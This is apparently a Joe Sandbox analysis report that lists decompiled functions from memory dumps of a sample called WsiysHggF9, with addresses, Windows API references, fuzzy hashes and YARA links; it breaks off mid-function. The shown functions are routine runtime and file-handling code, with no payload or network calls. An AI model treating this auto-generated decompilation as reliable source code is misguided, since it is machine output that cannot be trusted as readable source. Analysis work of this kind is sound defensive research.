0x00252d48
0x00252d4b
0x00252d4e
0x00252d5b
0x00252d5e
0x00252d5e
0x00252d65
0x00252d65
0x00252c0b
0x00252beb

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00252D14
__CxxThrowException@8.LIBVCRUNTIME ref: 00252D2C

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: a3e3387547b2a9bc9895b1f6a93a278617bd1d1a80ce3cc5b9ba8a443a6cf0fc
Instruction ID: a6caade99b03db819c384b7d8b7e3a3825fc2135d4054721c71b9606c2b5aa56
Opcode Fuzzy Hash: a3e3387547b2a9bc9895b1f6a93a278617bd1d1a80ce3cc5b9ba8a443a6cf0fc
Instruction Fuzzy Hash: 21412770628782EADB2CDE34D884799F794BB66306F04052AE95943183D774A8BCC79A

Uniqueness

Uniqueness Score: -1.00%

Function 002413B6 Relevance: 3.1, APIs: 2, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E002413B6(intOrPtr* __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t56;
				signed int _t62;
				signed int _t63;
				char _t64;
				intOrPtr _t74;
				intOrPtr* _t78;
				void* _t86;
				void* _t87;
				intOrPtr* _t89;
				void* _t91;
				void* _t96;

				_t96 = __eflags;
				_t87 = __edi;
				_t86 = __edx;
				_t78 = __ecx;
				E0025E0E4(_t56, _t91);
				_push(_t78);
				_push(_t78);
				_t89 = _t78;
				 *((intOrPtr*)(_t91 - 0x10)) = _t89;
				E002495B6(_t78);
				 *_t89 = 0x2725b8;
				 *((intOrPtr*)(_t91 - 4)) = 0;
				E00246027(_t89 + 0x1024, _t86, _t96);
				 *((char*)(_t91 - 4)) = 1;
				E0024C767(_t89 + 0x20e8, _t86, _t96);
				 *((intOrPtr*)(_t89 + 0x21d0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d4)) = 0;
				E00241550();
				_t62 = E00241550();
				 *((char*)(_t91 - 4)) = 4;
				_t63 = _t62 & 0xffffff00 |  *((intOrPtr*)(_t91 + 8)) == 0x00000000;
				 *((intOrPtr*)(_t89 + 0x21bc)) = 0;
				 *(_t89 + 0x21b8) = _t63;
				_t98 = _t63;
				if(_t63 == 0) {
					_t64 =  *((intOrPtr*)(_t91 + 8));
				} else {
					_t74 = E0025E0A0(_t86, _t89, _t98, 0x82e8);
					 *((intOrPtr*)(_t91 - 0x14)) = _t74;
					 *((char*)(_t91 - 4)) = 5;
					if(_t74 == 0) {
						_t64 = 0;
					} else {
						_t64 = E0024AFBD(_t74); // executed
					}
				}
				 *((intOrPtr*)(_t89 + 0x21bc)) = _t64;
				 *(_t89 + 0x21c0) =  *(_t89 + 0x21c0) | 0xffffffff;
				 *(_t89 + 0x21c4) =  *(_t89 + 0x21c4) | 0xffffffff;
				 *(_t89 + 0x21c8) =  *(_t89 + 0x21c8) | 0xffffffff;
				 *((char*)(_t89 + 0x1d)) =  *((intOrPtr*)(_t64 + 0x6199));
				 *((intOrPtr*)(_t89 + 0x6cb0)) = 2;
				 *((intOrPtr*)(_t89 + 0x6cb4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cb8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cc0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d4)) = 0;
				 *((char*)(_t89 + 0x6cbc)) = 0;
				 *((short*)(_t89 + 0x6cc4)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cac)) = 0;
				E0025F1A0(_t87, _t89 + 0x2208, 0, 0x40);
				E0025F1A0(_t87, _t89 + 0x2248, 0, 0x34);
				E0025F1A0(_t87, _t89 + 0x4590, 0, 0x20);
				 *((intOrPtr*)(_t89 + 0x6cd8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cec)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cf0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cf4)) = 0;
				 *((short*)(_t89 + 0x6cfa)) = 0;
				 *((char*)(_t89 + 0x6cd6)) = 0;
				 *((char*)(_t89 + 0x6cf8)) = 0;
				 *((char*)(_t89 + 0x21e0)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t91 - 0xc));
				return _t89;
			}

0x002413b6
0x002413b6
0x002413b6
0x002413b6
0x002413b6
0x002413bb
0x002413bc
0x002413bf
0x002413c1
0x002413c4
0x002413cb
0x002413d7
0x002413da
0x002413e5
0x002413e9
0x002413f4
0x002413fa
0x00241400
0x0024140b
0x00241413
0x00241417
0x0024141a
0x00241420
0x00241426
0x00241428
0x0024144d
0x0024142a
0x0024142f
0x00241435
0x00241438
0x0024143e
0x00241449
0x00241440
0x00241442
0x00241442
0x0024143e
0x00241450
0x0024145c
0x00241463
0x0024146a
0x00241473
0x0024147e
0x00241488
0x0024148e
0x00241494
0x0024149a
0x002414a0
0x002414a6
0x002414ac
0x002414b3
0x002414b9
0x002414bf
0x002414c5
0x002414cb
0x002414d1
0x002414e0
0x002414ef
0x002414fa
0x00241502
0x00241508
0x0024150e
0x00241514
0x0024151a
0x00241520
0x00241526
0x0024152f
0x00241535
0x0024153b
0x00241543
0x0024154d

APIs

__EH_prolog.LIBCMT ref: 002413B6

Part of subcall function 00246027: __EH_prolog.LIBCMT ref: 0024602C

Part of subcall function 0024C767: __EH_prolog.LIBCMT ref: 0024C76C
Part of subcall function 0024C767: new.LIBCMT ref: 0024C7AF
Part of subcall function 0024C767: new.LIBCMT ref: 0024C7D3

new.LIBCMT ref: 0024142F

Part of subcall function 0024AFBD: __EH_prolog.LIBCMT ref: 0024AFC2

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 18fcaed4fce544aac7e145be76fffc4264345ff9acd29b243f265819edc620ed
Instruction ID: cae07a5412e41f2470d236bb85aebb79ce1681ecc2dc43067f6abb4100b1414a
Opcode Fuzzy Hash: 18fcaed4fce544aac7e145be76fffc4264345ff9acd29b243f265819edc620ed
Instruction Fuzzy Hash: 7D4124B0915B40DEE724DF798485AE7FBE5FB18300F90492EE5EE83282CB726564CB15

Uniqueness

Uniqueness Score: -1.00%

Function 002413B1 Relevance: 3.1, APIs: 2, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E002413B1(intOrPtr* __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __esi;
				signed int _t62;
				signed int _t63;
				char _t64;
				intOrPtr _t74;
				intOrPtr* _t78;
				void* _t86;
				void* _t87;
				intOrPtr* _t89;
				void* _t91;
				void* _t96;

				_t96 = __eflags;
				_t87 = __edi;
				_t86 = __edx;
				_t78 = __ecx;
				E0025E0E4(E00271AE7, _t91);
				_t89 = _t78;
				 *((intOrPtr*)(_t91 - 0x10)) = _t89;
				E002495B6(_t78);
				 *_t89 = 0x2725b8;
				 *((intOrPtr*)(_t91 - 4)) = 0;
				E00246027(_t89 + 0x1024, _t86, _t96);
				 *((char*)(_t91 - 4)) = 1;
				E0024C767(_t89 + 0x20e8, _t86, _t96);
				 *((intOrPtr*)(_t89 + 0x21d0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d4)) = 0;
				E00241550();
				_t62 = E00241550();
				 *((char*)(_t91 - 4)) = 4;
				_t63 = _t62 & 0xffffff00 |  *((intOrPtr*)(_t91 + 8)) == 0x00000000;
				 *((intOrPtr*)(_t89 + 0x21bc)) = 0;
				 *(_t89 + 0x21b8) = _t63;
				_t98 = _t63;
				if(_t63 == 0) {
					_t64 =  *((intOrPtr*)(_t91 + 8));
				} else {
					_t74 = E0025E0A0(_t86, _t89, _t98, 0x82e8);
					 *((intOrPtr*)(_t91 - 0x14)) = _t74;
					 *((char*)(_t91 - 4)) = 5;
					if(_t74 == 0) {
						_t64 = 0;
					} else {
						_t64 = E0024AFBD(_t74); // executed
					}
				}
				 *((intOrPtr*)(_t89 + 0x21bc)) = _t64;
				 *(_t89 + 0x21c0) =  *(_t89 + 0x21c0) | 0xffffffff;
				 *(_t89 + 0x21c4) =  *(_t89 + 0x21c4) | 0xffffffff;
				 *(_t89 + 0x21c8) =  *(_t89 + 0x21c8) | 0xffffffff;
				 *((char*)(_t89 + 0x1d)) =  *((intOrPtr*)(_t64 + 0x6199));
				 *((intOrPtr*)(_t89 + 0x6cb0)) = 2;
				 *((intOrPtr*)(_t89 + 0x6cb4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cb8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cc0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d4)) = 0;
				 *((char*)(_t89 + 0x6cbc)) = 0;
				 *((short*)(_t89 + 0x6cc4)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cac)) = 0;
				E0025F1A0(_t87, _t89 + 0x2208, 0, 0x40);
				E0025F1A0(_t87, _t89 + 0x2248, 0, 0x34);
				E0025F1A0(_t87, _t89 + 0x4590, 0, 0x20);
				 *((intOrPtr*)(_t89 + 0x6cd8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cec)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cf0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cf4)) = 0;
				 *((short*)(_t89 + 0x6cfa)) = 0;
				 *((char*)(_t89 + 0x6cd6)) = 0;
				 *((char*)(_t89 + 0x6cf8)) = 0;
				 *((char*)(_t89 + 0x21e0)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t91 - 0xc));
				return _t89;
			}

0x002413b1
0x002413b1
0x002413b1
0x002413b1
0x002413b6
0x002413bf
0x002413c1
0x002413c4
0x002413cb
0x002413d7
0x002413da
0x002413e5
0x002413e9
0x002413f4
0x002413fa
0x00241400
0x0024140b
0x00241413
0x00241417
0x0024141a
0x00241420
0x00241426
0x00241428
0x0024144d
0x0024142a
0x0024142f
0x00241435
0x00241438
0x0024143e
0x00241449
0x00241440
0x00241442
0x00241442
0x0024143e
0x00241450
0x0024145c
0x00241463
0x0024146a
0x00241473
0x0024147e
0x00241488
0x0024148e
0x00241494
0x0024149a
0x002414a0
0x002414a6
0x002414ac
0x002414b3
0x002414b9
0x002414bf
0x002414c5
0x002414cb
0x002414d1
0x002414e0
0x002414ef
0x002414fa
0x00241502
0x00241508
0x0024150e
0x00241514
0x0024151a
0x00241520
0x00241526
0x0024152f
0x00241535
0x0024153b
0x00241543
0x0024154d

APIs

__EH_prolog.LIBCMT ref: 002413B6

Part of subcall function 00246027: __EH_prolog.LIBCMT ref: 0024602C

Part of subcall function 0024C767: __EH_prolog.LIBCMT ref: 0024C76C
Part of subcall function 0024C767: new.LIBCMT ref: 0024C7AF
Part of subcall function 0024C767: new.LIBCMT ref: 0024C7D3

new.LIBCMT ref: 0024142F

Part of subcall function 0024AFBD: __EH_prolog.LIBCMT ref: 0024AFC2

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 1c06f548aea770564ec2de5d708b5ca068cd2b87d03e0e210d8d80489591ec70
Instruction ID: 2854051418f5d7fc4e29104192ef5c9a26fb7bc7d892c790b0d9e26eb527a297
Opcode Fuzzy Hash: 1c06f548aea770564ec2de5d708b5ca068cd2b87d03e0e210d8d80489591ec70
Instruction Fuzzy Hash: 774114B0815B409EE724DF798485AE7FBE5FF18300F90492ED5EE83282CB726564CB15

Uniqueness

Uniqueness Score: -1.00%

Function 0026B007 Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0026B007(signed int __ebx, void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, char _a8) {
				char _v8;
				char _v16;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t31;
				signed int _t36;
				char _t40;
				intOrPtr _t44;
				char _t45;
				signed int _t51;
				void* _t64;
				void* _t70;
				signed int _t75;
				void* _t81;

				_t81 = __eflags;
				_v8 = E00268E25(__ebx, __ecx, __edx);
				E0026B12E(__ebx, __ecx, __edx, _t81);
				_t31 = E0026AD9B(_t81, _a4);
				_v16 = _t31;
				_t57 =  *(_v8 + 0x48);
				if(_t31 ==  *((intOrPtr*)( *(_v8 + 0x48) + 4))) {
					return 0;
				}
				_push(__ebx);
				_t70 = E00268398(_t57, 0x220);
				_t51 = __ebx | 0xffffffff;
				__eflags = _t70;
				if(__eflags == 0) {
					L5:
					_t75 = _t51;
					goto L6;
				} else {
					_t70 = memcpy(_t70,  *(_v8 + 0x48), 0x88 << 2);
					 *_t70 =  *_t70 & 0x00000000; // executed
					_t36 = E0026B1D0(_t51, _t70,  *(_v8 + 0x48), __eflags, _v16, _t70); // executed
					_t75 = _t36;
					__eflags = _t75 - _t51;
					if(_t75 != _t51) {
						__eflags = _a8;
						if(_a8 == 0) {
							E0026814F();
						}
						asm("lock xadd [eax], ebx");
						__eflags = _t51 == 1;
						if(_t51 == 1) {
							_t45 = _v8;
							__eflags =  *((intOrPtr*)(_t45 + 0x48)) - 0x27db20;
							if( *((intOrPtr*)(_t45 + 0x48)) != 0x27db20) {
								E0026835E( *((intOrPtr*)(_t45 + 0x48)));
							}
						}
						 *_t70 = 1;
						_t64 = _t70;
						_t70 = 0;
						 *(_v8 + 0x48) = _t64;
						_t40 = _v8;
						__eflags =  *(_t40 + 0x350) & 0x00000002;
						if(( *(_t40 + 0x350) & 0x00000002) == 0) {
							__eflags =  *0x27dda0 & 0x00000001;
							if(( *0x27dda0 & 0x00000001) == 0) {
								_v16 =  &_v8;
								E0026AC71(5,  &_v16);
								__eflags = _a8;
								if(_a8 != 0) {
									_t44 =  *0x27dd40; // 0x31f2428
									 *0x27d814 = _t44;
								}
							}
						}
						L6:
						E0026835E(_t70);
						return _t75;
					} else {
						 *((intOrPtr*)(E002687DA())) = 0x16;
						goto L5;
					}
				}
			}

0x0026b007
0x0026b014
0x0026b017
0x0026b01f
0x0026b028
0x0026b02b
0x0026b031
0x00000000
0x0026b033
0x0026b037
0x0026b044
0x0026b046
0x0026b04a
0x0026b04c
0x0026b07c
0x0026b07c
0x00000000
0x0026b04e
0x0026b05b
0x0026b061
0x0026b064
0x0026b069
0x0026b06d
0x0026b06f
0x0026b08e
0x0026b092
0x0026b094
0x0026b094
0x0026b09f
0x0026b0a3
0x0026b0a4
0x0026b0a6
0x0026b0a9
0x0026b0b0
0x0026b0b5
0x0026b0ba
0x0026b0b0
0x0026b0bb
0x0026b0c1
0x0026b0c6
0x0026b0c8
0x0026b0cb
0x0026b0ce
0x0026b0d5
0x0026b0d7
0x0026b0de
0x0026b0e3
0x0026b0ec
0x0026b0f1
0x0026b0f7
0x0026b0f9
0x0026b0fe
0x0026b0fe
0x0026b0f7
0x0026b0de
0x0026b07e
0x0026b07f
0x00000000
0x0026b071
0x0026b076
0x00000000
0x0026b076
0x0026b06f

APIs

Part of subcall function 00268E25: GetLastError.KERNEL32(?,0027FF50,00263C54,0027FF50,?,?,002636CF,?,?,0027FF50), ref: 00268E29
Part of subcall function 00268E25: _free.LIBCMT ref: 00268E5C
Part of subcall function 00268E25: SetLastError.KERNEL32(00000000,?,0027FF50), ref: 00268E9D
Part of subcall function 00268E25: _abort.LIBCMT ref: 00268EA3

Part of subcall function 0026B12E: _abort.LIBCMT ref: 0026B160
Part of subcall function 0026B12E: _free.LIBCMT ref: 0026B194

Part of subcall function 0026AD9B: GetOEMCP.KERNEL32(00000000,?,?,0026B024,?), ref: 0026ADC6

_free.LIBCMT ref: 0026B07F
_free.LIBCMT ref: 0026B0B5

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 618af8ec52fdf6b6c75ff1db46b27ae3f4d0bcee3252521dfb55c5071e016950
Instruction ID: dc3a9dd30c1c42d755c9ff42c6d76eae928c3b7e3cd8d7e7cb1d085025e84942
Opcode Fuzzy Hash: 618af8ec52fdf6b6c75ff1db46b27ae3f4d0bcee3252521dfb55c5071e016950
Instruction Fuzzy Hash: 9331E732920209AFDB11EFA8D445B9EBBF4EF40320F254199E8149B291EB729DE0CF51

Uniqueness

Uniqueness Score: -1.00%

Function 002496BE Relevance: 3.1, APIs: 2, Instructions: 86
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E002496BE(void* __ecx, short _a4, WCHAR* _a4104, signed char _a4108) {
				long _v0;
				signed char _t34;
				signed int _t36;
				void* _t37;
				signed char _t46;
				struct _SECURITY_ATTRIBUTES* _t47;
				long _t56;
				void* _t59;
				long _t63;

				E0025E1C0();
				_t46 = _a4108;
				_t34 = _t46 >> 0x00000001 & 0x00000001;
				_t59 = __ecx;
				if((_t46 & 0x00000010) != 0 ||  *((char*)(__ecx + 0x1d)) != 0) {
					_t63 = 1;
					__eflags = 1;
				} else {
					_t63 = 0;
				}
				 *(_t59 + 0x18) = _t46;
				_v0 = ((0 | _t34 == 0x00000000) - 0x00000001 & 0x80000000) + 0xc0000000;
				_t36 =  *(E0024BBA9(_t34, _a4104)) & 0x0000ffff;
				if(_t36 == 0x2e || _t36 == 0x20) {
					if((_t46 & 0x00000020) != 0) {
						goto L8;
					} else {
						 *(_t59 + 4) =  *(_t59 + 4) | 0xffffffff;
						_t47 = 0;
						_t56 = _v0;
					}
				} else {
					L8:
					_t56 = _v0;
					_t47 = 0;
					__eflags = 0;
					_t37 = CreateFileW(_a4104, _t56, _t63, 0, 2, 0, 0); // executed
					 *(_t59 + 4) = _t37;
				}
				if( *(_t59 + 4) == 0xffffffff && E0024B5AC(_a4104,  &_a4, 0x800) != 0) {
					 *(_t59 + 4) = CreateFileW( &_a4, _t56, _t63, _t47, 2, _t47, _t47);
				}
				 *((char*)(_t59 + 0x12)) = 1;
				 *(_t59 + 0xc) = _t47;
				 *(_t59 + 0x10) = _t47;
				return E0024FD96(_t59 + 0x1e, _a4104, 0x800) & 0xffffff00 |  *(_t59 + 4) != 0xffffffff;
			}

0x002496c3
0x002496c9
0x002496d6
0x002496d8
0x002496de
0x002496ec
0x002496ec
0x002496e6
0x002496e6
0x002496e6
0x002496f6
0x0024970b
0x00249714
0x0024971a
0x00249724
0x00000000
0x00249726
0x00249726
0x0024972a
0x0024972c
0x0024972c
0x00249732
0x00249732
0x00249732
0x00249736
0x00249736
0x00249746
0x0024974c
0x0024974c
0x00249753
0x00249781
0x00249781
0x00249793
0x00249798
0x0024979b
0x002497b4

APIs

CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00249E1C,?,?,00247840), ref: 00249746
CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00249E1C,?,?,00247840), ref: 0024977B

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a75e45b57363b6b1af7eaa378b2d71d90008a99df527d64df7ba4b0476f44e97
Instruction ID: d7f75725f6901d64611f231775a42b6403b281787be87993e2502b93ac215976
Opcode Fuzzy Hash: a75e45b57363b6b1af7eaa378b2d71d90008a99df527d64df7ba4b0476f44e97
Instruction Fuzzy Hash: 8921F6B1460745AEE7348F54CC85BA7B7ECEB49364F004A2DF5E5821D1C3B4AC989B60

Uniqueness

Uniqueness Score: -1.00%

Function 00249CA2 Relevance: 3.1, APIs: 2, Instructions: 82
timeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00249CA2(void* __ecx, void* __esi, signed int _a4, signed int* _a8, signed int* _a12) {
				void* _v8;
				void* _v16;
				void* _v24;
				signed char _v25;
				signed char _v26;
				int _t34;
				signed char _t49;
				signed int* _t51;
				signed char _t57;
				void* _t58;
				void* _t59;
				signed int* _t60;
				signed int* _t62;

				_t59 = __esi;
				_t58 = __ecx;
				if( *(__ecx + 0x18) != 0x100 && ( *(__ecx + 0x18) & 0x00000002) == 0) {
					FlushFileBuffers( *(__ecx + 4));
				}
				_t51 = _a4;
				_t49 = 1;
				if(_t51 == 0 || ( *_t51 | _t51[1]) == 0) {
					_t57 = 0;
				} else {
					_t57 = 1;
				}
				_push(_t59);
				_t60 = _a8;
				_v25 = _t57;
				if(_t60 == 0) {
					L9:
					_v26 = 0;
				} else {
					_v26 = _t49;
					if(( *_t60 | _t60[1]) == 0) {
						goto L9;
					}
				}
				_t62 = _a12;
				if(_t62 == 0 || ( *_t62 | _a4) == 0) {
					_t49 = 0;
				}
				if(_t57 != 0) {
					E00250B3D(_t51, _t57,  &_v24);
				}
				if(_v26 != 0) {
					E00250B3D(_t60, _t57,  &_v8);
				}
				if(_t49 != 0) {
					E00250B3D(_t62, _t57,  &_v16);
				}
				asm("sbb eax, eax");
				asm("sbb eax, eax");
				asm("sbb eax, eax");
				_t34 = SetFileTime( *(_t58 + 4),  ~(_v26 & 0x000000ff) &  &_v8,  ~(_t49 & 0x000000ff) &  &_v16,  ~(_v25 & 0x000000ff) &  &_v24); // executed
				return _t34;
			}

0x00249ca2
0x00249ca8
0x00249cb1
0x00249cbc
0x00249cbc
0x00249cc2
0x00249cc8
0x00249ccb
0x00249cd8
0x00249cd4
0x00249cd4
0x00249cd4
0x00249cda
0x00249cdb
0x00249cdf
0x00249ce5
0x00249cf2
0x00249cf2
0x00249ce7
0x00249cec
0x00249cf0
0x00000000
0x00000000
0x00249cf0
0x00249cf7
0x00249cfd
0x00249d07
0x00249d07
0x00249d0b
0x00249d12
0x00249d12
0x00249d1c
0x00249d25
0x00249d25
0x00249d2d
0x00249d36
0x00249d36
0x00249d46
0x00249d54
0x00249d64
0x00249d6c
0x00249d78

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00247520,?,?,?,?), ref: 00249CBC
SetFileTime.KERNELBASE(?,?,?,?), ref: 00249D6C

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 2c1bb265d163d34471017ca83319f835b5d8df7457252d3ee114fa5ddae7b7ee
Instruction ID: 1d64dba0eca3e25a0a5d6ad0f02618dd856c1a383dee99d36f5047223bd4ebe4
Opcode Fuzzy Hash: 2c1bb265d163d34471017ca83319f835b5d8df7457252d3ee114fa5ddae7b7ee
Instruction Fuzzy Hash: C521D6311682469BC718DF24D8D5AABBBE4AF95308F04091DF8C187151D329EE9CDBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0026A2D8 Relevance: 3.1, APIs: 2, Instructions: 65
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E0026A2D8(signed int _a4, CHAR* _a8, intOrPtr* _a12, intOrPtr _a16) {
				struct HINSTANCE__* _t13;
				signed int* _t20;
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t33;
				intOrPtr* _t34;

				_t20 = 0x2a0628 + _a4 * 4;
				_t27 =  *0x27d668; // 0xdef7aace
				_t29 = _t28 | 0xffffffff;
				_t33 = _t27 ^  *_t20;
				asm("ror esi, cl");
				if(_t33 == _t29) {
					L14:
					return 0;
				}
				if(_t33 == 0) {
					_t34 = _a12;
					if(_t34 == _a16) {
						L7:
						_t13 = 0;
						L8:
						if(_t13 == 0) {
							L13:
							_push(0x20);
							asm("ror edi, cl");
							 *_t20 = _t29 ^ _t27;
							goto L14;
						}
						_t33 = GetProcAddress(_t13, _a8);
						if(_t33 == 0) {
							_t27 =  *0x27d668; // 0xdef7aace
							goto L13;
						}
						 *_t20 = E00262F99(_t33);
						goto L2;
					} else {
						goto L4;
